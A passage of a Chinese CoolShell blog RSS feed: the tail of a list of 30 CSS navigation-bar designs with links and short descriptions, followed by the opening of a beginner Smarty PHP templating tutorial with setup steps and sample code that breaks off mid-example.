开发，其使用了一个相当独特的方式。</p>\n<p>11. <a href=\"http://www.cssmenumaker.com/builder/menu_info.php?menu=019\" target=\"_blank\"><span style=\"color: #006699;\"><strong>Simple Yellow Tabbed</strong></span></a></p>\n<p><a href=\"http://www.cssmenumaker.com/builder/menu_info.php?menu=019\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-04_simple_yellow_tabbed.jpg\" alt=\"Simple Yellow Tabbed\" width=\"500\" height=\"97\" /></span></a></p>\n<p>这个导航条由<a href=\"http://www.cssmenumaker.com/index.php\" target=\"_blank\"><span style=\"color: #006699;\">CSS Menu Generator</span></a> 生成。这是一个质量很不错的导航条。</p>\n<h4>12. <a href=\"http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx\" target=\"_blank\"><span style=\"color: #006699;\">Vimeo-Like Top Navigation</span></a></h4>\n<p><a href=\"http://www.jankoatwarpspeed.com/examples/vimeo_navigation/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-05_vimeo_like.jpg\" alt=\"Vimeo-Like Top Navigation\" width=\"500\" height=\"170\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.jankoatwarpspeed.com/examples/vimeo_navigation/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个基于CSS的导航条由 <a href=\"http://vimeo.com/\"><span style=\"color: #006699;\">Vimeo</span></a> 制作。</p>\n<h4>13. <a href=\"http://www.webvamp.co.uk/blog/coding/graphical-css-rollover-menu/\" target=\"_blank\"><span style=\"color: #006699;\">Apple Like Colorful CSS Menu</span></a></h4>\n<p><a href=\"http://www.webvamp.co.uk/blog/coding/graphical-css-rollover-menu/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-30_apple_like_colorful.jpg\" alt=\"Apple Like Colorful CSS Menu\" width=\"500\" height=\"189\" /></span></a></p>\n<p>这是一个效仿 Apple的图片滚动的CSS菜单，其有一个教程。</p>\n<h4>14. <a href=\"http://www.designmeme.com/articles/hoverboxmenu/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Hoverbox</span></a></h4>\n<p><a href=\"http://www.designmeme.com/articles/hoverboxmenu/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-06_hover_menu.png\" alt=\"CSS Hoverbox\" width=\"500\" height=\"110\" /></span></a></p>\n<p>其灵感来源于 <a href=\"http://sonspring.com/journal/hoverbox-image-gallery\"><span style=\"color: #006699;\">Hoverbox Image Gallery</span></a>，由Nathan Smith开发，CSS Hoverbox 使用<code>background-position</code> CSS 属性制作。网页上有教程。</p>\n<h4>15. <a href=\"http://css.maxdesign.com.au/listamatic/experimental01.htm\" target=\"_blank\"><span style=\"color: #006699;\">Big CSS Box</span></a></h4>\n<p><a href=\"http://css.maxdesign.com.au/listamatic/experimental01.htm\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-07_big_box.jpg\" alt=\"Big CSS Box\" width=\"500\" height=\"146\" /></span></a></p>\n<p>这只不过是一个试验性质的CSS 导航条，其允许你创建一个可以缩放的导航条，其可以自适应于浏览器的宽度。</p>\n<h4>16. <a href=\"https://www.servage.net/blog/2009/03/20/create-a-cool-css-based-drop-down-menu/\"><span style=\"color: #006699;\">Simple CSS-based drop-down menu</span></a></h4>\n<p><a href=\"https://www.servage.net/blog/wp-content/uploads/2009/03/css-menu.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-10_drop_down.jpg\" alt=\"Simple CSS-based drop-down menu\" width=\"500\" height=\"167\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"https://www.servage.net/blog/wp-content/uploads/2009/03/css-menu.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个下拉式菜单，虽然非常简单，但是却非常的优秀。</p>\n<h4>17. <a href=\"http://veerle.duoh.com/blog/comments/2_level_horizontal_navigation_in_css_with_images/\" target=\"_blank\"><span style=\"color: #006699;\">Two Level Horizontal Navigation in CSS</span></a></h4>\n<p><a href=\"http://www.duoh.com/csstutorials/2levelmenu/index.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-12_css_horizontal_vreel.jpg\" alt=\"Two Level Horizontal Navigation in CSS\" width=\"500\" height=\"100\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.duoh.com/csstutorials/2levelmenu/index.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p><a href=\"http://veerle.duoh.com/blog/about/\"><span style=\"color: #006699;\">Veerle Pieters</span></a> 提供的这个CSS导航条教程，其主要使用了<code>text-indent</code> CSS 属性。</p>\n<h4>18. <a href=\"http://www.projectseven.com/tutorials/css/uberlinks/index.htm\" target=\"_blank\"><span style=\"color: #006699;\">Uberlink CSS List Menus</span></a></h4>\n<p><a href=\"http://www.projectseven.com/tutorials/css/uberlinks/home.htm\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-14_uberlink.jpg\" alt=\"Uberlink CSS List Menus\" width=\"500\" height=\"158\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.projectseven.com/tutorials/css/uberlinks/home.htm\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个CSS导航条看起来很像是一个图片切换的样子。</p>\n<h4>19. <a href=\"http://www.cssnewbie.com/css-only-accordion/\" target=\"_blank\"><span style=\"color: #006699;\">CSS-Only Accordion Effect</span></a></h4>\n<p><a href=\"http://www.cssnewbie.com/example/css-only-accordion/horizontal.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-16_css_accordian.jpg\" alt=\"CSS-Only Accordion Effect\" width=\"500\" height=\"299\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.cssnewbie.com/example/css-only-accordion/horizontal.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个CSS设计的很有想法，啥也不说了，上去看看就知道有多酷了。</p>\n<h4>20. <a href=\"http://tutorials.mezane.org/tabbed-navigation-using-css/#Introduction\" target=\"_blank\"><span style=\"color: #006699;\">Tabbed Navigation Using CSS</span></a></h4>\n<p><a href=\"http://tutorials.mezane.org/tabbed-navigation-using-css/#Introduction\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-19_tabbed_navigation_css.png\" alt=\"Tabbed Navigation Using CSS\" width=\"500\" height=\"196\" /></span></a></p>\n<p>这是另一个很不错的相法，让你可以创建一个TAB页，注意这是完全由纯CSS写成的。你可以通过点击上面的链接查看如何制作这样一个界面。</p>\n<h4>21. <a href=\"http://www.simplebits.com/notebook/2003/06/07/mini_tabs_the_untab_tab.html\" target=\"_blank\"><span style=\"color: #006699;\">CSS Mini Tabs (the UN-tab, tab)</span></a></h4>\n<p><a href=\"http://www.simplebits.com/bits/minitabs.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-20_mini_tab.jpg\" alt=\"CSS Mini Tabs (the UN-tab, tab)\" width=\"500\" height=\"94\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.simplebits.com/bits/minitabs.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个CSS导航条是由一个比较流行的网页设计中介 <a href=\"http://www.simplebits.com/about/\"><span style=\"color: #006699;\">SimpleBits</span></a> 完成，它展示了一个可以创建小TAB页的方法。</p>\n<h4>22. <a href=\"http://www.alistapart.com/articles/horizdropdowns\" target=\"_blank\"><span style=\"color: #006699;\">Drop-Down Menus, Horizontal Style</span></a></h4>\n<p><a href=\"http://www.alistapart.com/d/horizdropdowns/horizontal.htm\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-21_drop_down_list_apart.png\" alt=\"Drop-Down Menus, Horizontal Style\" width=\"500\" height=\"205\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.alistapart.com/d/horizdropdowns/horizontal.htm\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个<a href=\"http://www.alistapart.com/about/\"><span style=\"color: #006699;\">A List Apart</span></a> CSS 菜单技术主要实现了一个纵向的二级菜单，其主要使用了 <code>position: absolute</code> CSS 属性来决定了菜单的位置。</p>\n<h4>23. <a href=\"http://www.456bereastreet.com/archive/200501/turning_a_list_into_a_navigation_bar/\" target=\"_blank\"><span style=\"color: #006699;\">List Into a Navigation Bar</span></a></h4>\n<p><a href=\"http://www.456bereastreet.com/lab/ul_navbar/step11/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-22_list_navigation.jpg\" alt=\"List Into a Navigation Bar\" width=\"500\" height=\"67\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.456bereastreet.com/lab/ul_navbar/step11/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>Roger Johansson 的<a href=\"http://www.456bereastreet.com/about/\"><span style=\"color: #006699;\">456 Berea Street</span></a> 展示了一个简单的理论——把一些带有下划线的列表转换成了一个导航条。这是一个非常好的给初学者的一个案例，可以通过它学习到如何通过CSS创建一个HTML结构的导航条。</p>\n<h4>24. <a href=\"http://www.kalsey.com/tools/csstabs/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Tabs with Submenus</span></a></h4>\n<p><a href=\"http://www.kalsey.com/tools/csstabs/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-23_css_tab_submenu.jpg\" alt=\"CSS Tabs with Submenus\" width=\"500\" height=\"133\" /></span></a></p>\n<p>这个CSS导航条菜单允许你创建二级的TAB页，相当不错哦。</p>\n<h4>25. <a href=\"http://vikiworks.com/2008/03/29/a-css-block-navigation-menu/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Block Navigation Menu</span></a></h4>\n<p><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-26_css_block_menu.png\" alt=\"CSS Block Navigation Menu\" width=\"500\" height=\"84\" /></span></p>\n<p>这个CSS导航条，让你可以创建一个带有描述语的导航条。</p>\n<h4>26. <a href=\"http://www.zenelements.co.uk/blog/coding-sprite-navigation-xhtml-css/\" target=\"_blank\"><span style=\"color: #006699;\">XHTML &amp; CSS Sprite Navigation</span></a></h4>\n<p><a href=\"http://www.zenelements.co.uk/blog/images/tutorials/web-design-development/sprite-navigation/sprite-navigation-example.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-13_css_sprite.jpg\" alt=\"XHTML &amp; CSS Sprite Navigation\" width=\"500\" height=\"65\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.zenelements.co.uk/blog/images/tutorials/web-design-development/sprite-navigation/sprite-navigation-example.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个时尚的CSS精灵导航条有三个状态：空闲，鼠标感应，和鼠标点击。</p>\n<h4>27. <a href=\"http://learnola.com/2008/10/28/xhtml-tutorial-css-tabbed-menu/\" target=\"_blank\"><span style=\"color: #006699;\">XHTML CSS Tabbed Menu</span></a></h4>\n<p><a href=\"http://talentedpixel.com/wp-content/themes/revolution_music-10/tab-example.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-15_xhtml_css_tab.png\" alt=\"XHTML CSS Tabbed Menu\" width=\"500\" height=\"135\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://talentedpixel.com/wp-content/themes/revolution_music-10/tab-example.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>你可以学习一个如果不用脚本来创建TAB页。</p>\n<h4>28. <a href=\"http://thedesignsuperhero.com/2008/04/tutorial-to-create-a-pretty-cool-simple-horizontal-css-menu/\" target=\"_blank\"><span style=\"color: #006699;\">Cool, Simple, Horizontal CSS Menu</span></a></h4>\n<p><a href=\"http://72.18.130.22/~thedesig/wp-content/uploads/2008/04/css_menu.html\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-24_cool_horizontal.jpg\" alt=\"XHTML &amp; CSS Sprite Navigation\" width=\"500\" height=\"85\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://72.18.130.22/~thedesig/wp-content/uploads/2008/04/css_menu.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>教你如果创建一个简单直接的CSS导航条。</p>\n<h4>29. <a href=\"http://green-beast.com/experiments/css_menu_descriptions.php\" target=\"_blank\"><span style=\"color: #006699;\">CSS Menu with Descriptions</span></a></h4>\n<p><a href=\"http://green-beast.com/experiments/css_menu_descriptions.php\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-25_css_menu_w_description.jpg\" alt=\"CSS Menu with Descriptions\" width=\"500\" height=\"201\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://green-beast.com/experiments/css_menu_descriptions.php\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个会扩展的导航条。</p>\n<h4>30. <a href=\"http://www.nublue.co.uk/blog/css-hover-button/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Hover Button</span></a></h4>\n<p><a href=\"http://www.nucopy.com/\"><span style=\"color: #006699;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/13-29_css_hover.jpg\" alt=\"CSS Hover Button\" width=\"500\" height=\"219\" /></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.nucopy.com/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个相当不错的教程教你如果制一个鼠标感应式的按钮。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"40个很不错的CSS技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_title\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/562.html\">30种时尚的CSS网站导航条</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/562.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>25</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>菜鸟学PHP之Smarty入门</title>\n\t\t<link>https://coolshell.cn/articles/559.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/559.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 17 Apr 2009 07:55:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Smarty]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=559</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>　　刚开始接触模版引擎的 PHP 设计师，听到 Smarty 时，都会觉得很难。其实笔者也不例外，碰都不敢碰一下。但是后来在剖析 XOOPS 的程序架构时，开始...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/559.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/559.html\">菜鸟学PHP之Smarty入门</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>　　刚开始接触模版引擎的 PHP 设计师，听到 Smarty 时，都会觉得很难。其实笔者也不例外，碰都不敢碰一下。但是后来在剖析 XOOPS 的程序架构时，开始发现 Smarty 其实并不难。只要将 Smarty 基础功练好，在一般应用上就已经相当足够了。当然基础能打好，后面的进阶应用也就不用怕了。<br />\n　　<br />\n　　这篇文章的主要用意并非要深入探讨 Smarty 的使用，这在<span class=\"t_tag\">官方</span>使用说明中都已经写得很完整了。笔者仅在此写下一些自己使用上的心得，让想要了解 Smarty 却不得其门而入的<span class=\"t_tag\">朋友</span>，可以从中得到一些启示。就因为这篇文章的内容不是非常深入，会使用 Smarty 的朋友们可能会觉得简单了点。<br />\n　　<br />\n<span id=\"more-559\"></span>　<br />\n　　<strong>Smarty介绍<br />\n　　<br />\n　　什么是模版引擎</strong><br />\n　　<br />\n　　不知道从什么时候开始，有人开始对 HTML 内嵌入 Server Script 觉得不太满意。然而不论是微软的 ASP 或是开放<span class=\"t_tag\">源码</span>的 PHP，都是属于内嵌 Server Script 的<span class=\"t_tag\">网页</span>伺服端语言。因此也就有人想到，如果能把程序应用逻辑 (或称商业应用逻辑) 与网页呈现 (Layout) 逻辑分离的话，是不是会比较好呢？<br />\n　　<br />\n　　其实这个问题早就存在已久，从交互式网页开始风行时，不论是 ASP 或是 PHP 的使用者都是身兼程序开发者与视觉设计师两种身份。可是通常这些使用者不是程序强就是美工强，如果要两者同时兼顾，那可得死掉不少脑细胞&#8230;<br />\n　　<br />\n　　所以模版引擎就应运而生啦！模版引擎的目的，就是要达到上述提到的逻辑分离的<span class=\"t_tag\">功能</span>。它能让程序开发者专注于资料的控制或是功能的达成；而视觉设计师则可专注于网页排版，让网页看起来更具有专业感！因此模版引擎很适合公司的网站开发团队使用，使每个人都能发挥其专长！<br />\n　　<br />\n　　就笔者接触过的模版引擎来说，依资料呈现方式大概分成：需搭配程序处理的模版引擎和完全由模版本身自行决定的模版引擎两种形式。<br />\n　　<br />\n　　在需搭配程序处理的模版引擎中，程序开发者必须要负责变量的呈现逻辑，也就是说他必须把变量的内容在输出到模版前先处理好，才能做 assign 的工作。换句话说，程序开发者还是得多写一些程序来决定变量呈现的风貌。而完全由模版本身自行决定的模版引擎，它允许变量直接 assign 到模版中，让视觉设计师在设计模版时再决定变量要如何呈现。因此它就可能会有另一套属于自己的模版程序语法 (如 Smarty) ，以方便控制变量的呈现。但这样一来，视觉设计师也得学习如何使用模版语言。<br />\n　　<br />\n　　模版引擎的运作原理，首先我们先看看以下的运行图：<br />\n　　 　<img decoding=\"async\" loading=\"lazy\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.31.13.1.gif\" alt=\"\" width=\"400\" height=\"450\" /><br />\n　　一般的模版引擎 (如 PHPLib) 都是在建立模版对象时取得要解析的模版，然后把变量套入后，透过 parse() 这个方法来解析模版，最后再将网页输出。<br />\n　　 　<img decoding=\"async\" loading=\"lazy\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.38.13.2.gif\" alt=\"\" width=\"400\" height=\"600\" /><br />\n　　对 Smarty 的使用者来说，程序里也不需要做任何 parse 的动作了，这些 Smarty 自动会帮我们做。而且已经<span class=\"t_tag\">编译</span>过的网页，如果模版没有变动的话， Smarty 就自动跳过编译的动作，直接执行编译过的网页，以节省编译的时间。<br />\n　　<br />\n　　<strong>使用Smarty的一些概念</strong><br />\n　　<br />\n　　在一般模版引擎中，我们常看到区域的观念，所谓区块大概都会长成这样：<br />\n　　&lt;!&#8211; START : Block name &#8211;&gt;<br />\n　　区域内容<br />\n　　&lt;!&#8211; END : Block name &#8211;&gt;<br />\n　　<br />\n　　这些区块大部份都会在 PHP 程序中以 if 或 for, while 来控制它们的显示状态，虽然模版看起来简洁多了，但只要一换了显示方式不同的模版， PHP 程序势必要再改一次！<br />\n　　<br />\n　　在 Smarty 中，一切以变量为主，所有的呈现逻辑都让模版自行控制。因为 Smarty 会有自己的模版语言，所以不管是区块是否要显示还是要重复，都是用 Smarty 的模版语法 (if, foreach, section) 搭配变量内容作呈现。这样一来感觉上好象模版变得有点复杂，但好处是只要规划得当， PHP 程序一行都不必改。<br />\n　　<br />\n　　由上面的说明，我们可以知道使用Smarty 要掌握一个原则：将程序应用逻辑与网页呈现逻辑明确地分离。就是说 PHP 程序里不要有太多的 HTML 码。程序中只要决定好那些变量要塞到模版里，让模版自己决定该如何呈现这些变量 (甚至不出现也行) 。<br />\n　　<br />\n　　<strong>Smarty的基础<br />\n　　<br />\n　　安装Smarty</strong><br />\n　　<br />\n　　首先，我们先决定程序放置的位置。<br />\n　　<br />\n　　<a href=\"http://windows.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">Windows</span></a>下可能会类似这样的位置：「 d:\\appserv\\web\\demo\\ 」。<br />\n　　<br />\n　　Linux下可能会类似这样的位置：「 /home/jaceju/public_html/ 」。<br />\n　　<br />\n　　到Smarty的官方网站<a href=\"http://download.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\"><span class=\"t_tag\">下载</span></span></a>最新的Smarty套件：<a href=\"http://smarty.php.net/\" target=\"_blank\">http://smarty.php.net</a>。<br />\n　　<br />\n　　解开 Smarty 2.6.0 后，会看到很多档案，其中有个 libs 资料夹。在 libs 中应该会有 3 个 class.php 檔 + 1 个 debug.tpl + 1 个 plugin 资料夹 + 1 个 core 资料夹。然后直接将 libs 复制到您的程序主资料夹下，再更名为 class 就可以了。就这样？没错！这种安装法比较简单，适合一般没有自己主机的使用者。<br />\n　　<br />\n　　至于 Smarty 官方手册中为什么要介绍一些比较复杂的安装方式呢？基本上依照官方的方式安装，可以只在主机安装一次，然后提供给该主机下所有设计者开发不同程序时直接引用，而不会重复安装太多的 Smarty 复本。而笔者所提供的方式则是适合要把程序带过来移过去的程序开发者使用，这样不用烦恼主机有没有安装 Smarty 。<br />\n　　<br />\n　　<strong>程序的资料夹设定</strong><br />\n　　<br />\n　　以笔者在<a href=\"http://windows.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">Windows</span></a>安装Appserv为例，程序的主资料夹是「d:\\appserv\\web\\demo\\」。安装好Smarty后，我们在主资料夹下再建立这样的资料夹：<br />\n　　 　<img decoding=\"async\" loading=\"lazy\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.46.13.3.gif\" alt=\"\" width=\"156\" height=\"135\" /><br />\n　　在 Linux 底下，请记得将 templates_c 的权限变更为 777 。Windows 下则将其只读取消。<br />\n　　<br />\n　　<strong>第一个用Smarty写的小程序</strong><br />\n　　<br />\n　　我们先设定 Smarty 的路径，请将以下这个档案命名为 main.php ，并放置到主资料夹下：<br />\n　　<br />\n　　main.php:</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　include &quot;class/Smarty.class.php&quot;;\n　　define(&#039;__SITE_ROOT&#039;, &#039;d:/appserv/web/demo&#039;); // 最后没有斜线\n　　$tpl = new Smarty();\n　　$tpl-&gt;template_dir = __SITE_ROOT . &quot;/templates/&quot;;\n　　$tpl-&gt;compile_dir = __SITE_ROOT . &quot;/templates_c/&quot;;\n　　$tpl-&gt;config_dir = __SITE_ROOT . &quot;/configs/&quot;;\n　　$tpl-&gt;cache_dir = __SITE_ROOT . &quot;/cache/&quot;;\n　　$tpl-&gt;left_delimiter = &#039;&lt;{&#039;;\n　　$tpl-&gt;right_delimiter = &#039;}&gt;&#039;;\n　　?&gt;\n　　</pre>\n<p>　　照上面方式设定的用意在于，程序如果要移植到其它地方，只要改 __SITE_ROOT 就可以啦。 (这里是参考 XOOPS 的 )<br />\n　　<br />\n　　Smarty 的模版路径设定好后，程序会依照这个路径来抓所有模版的相对位置 (范例中是 &#8216;d:/appserv/web/demo/templates/&#8217; ) 。然后我们用 display() 这个 Smarty 方法来显示我们的模版。<br />\n　　<br />\n　　接下来我们在 templates 资料夹下放置一个 test.htm：(扩展名叫什么都无所谓，但便于视觉设计师开发，笔者都还是以 .htm 为主。)<br />\n　　<br />\n　　templates/test.htm:</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=big5&quot;&gt;\n　　&lt;title&gt;&lt;{$title}&gt;&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　&lt;{$content}&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　现在我们要将上面的模版显示出来，并将网页标题 ($title) 与内容 ($content) 更换，请将以下档案内容命名为 test.php ，并放置在主资料夹下：<br />\n　　<br />\n　　test.php:</p>\n<p>       </p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require &quot;main.php&quot;;\n　　$tpl-&gt;assign(&quot;title&quot;, &quot;测试用的网页标题&quot;);\n　　$tpl-&gt;assign(&quot;content&quot;, &quot;测试用的网页内容&quot;);\n　　// 上面两行也可以用这行代替\n　　// $tpl-&gt;assign(array(&quot;title&quot; =&gt; &quot;测试用的网页标题&quot;, &quot;content&quot; =&gt; &quot;测试用的网页内容&quot;));\n　　$tpl-&gt;display(&#039;test.htm&#039;);\n　　?&gt;\n　　</pre>\n<p>　　请打开浏览器，输入 http://localhost/demo/test.php 试试看(依您的环境决定网址)，应该会看到以下的画面：<br />\n　　 　<img decoding=\"async\" loading=\"lazy\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.52.13.4.gif\" alt=\"\" width=\"287\" height=\"217\" /><br />\n　　再到 templates_c 底下，我们会看到一个奇怪的资料夹 (%%179) ，再点选下去也是一个奇怪的资料夹 (%%1798044067) ，而其中有一个档案：<br />\n　　<br />\n　　templates_c/%%179/%%1798044067/test.htm.php:</p>\n<p>        </p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n　　&lt;?php /* Smarty version 2.6.0, created on 2003-12-15 22:19:45 compiled from test.htm */ ?&gt;\n　　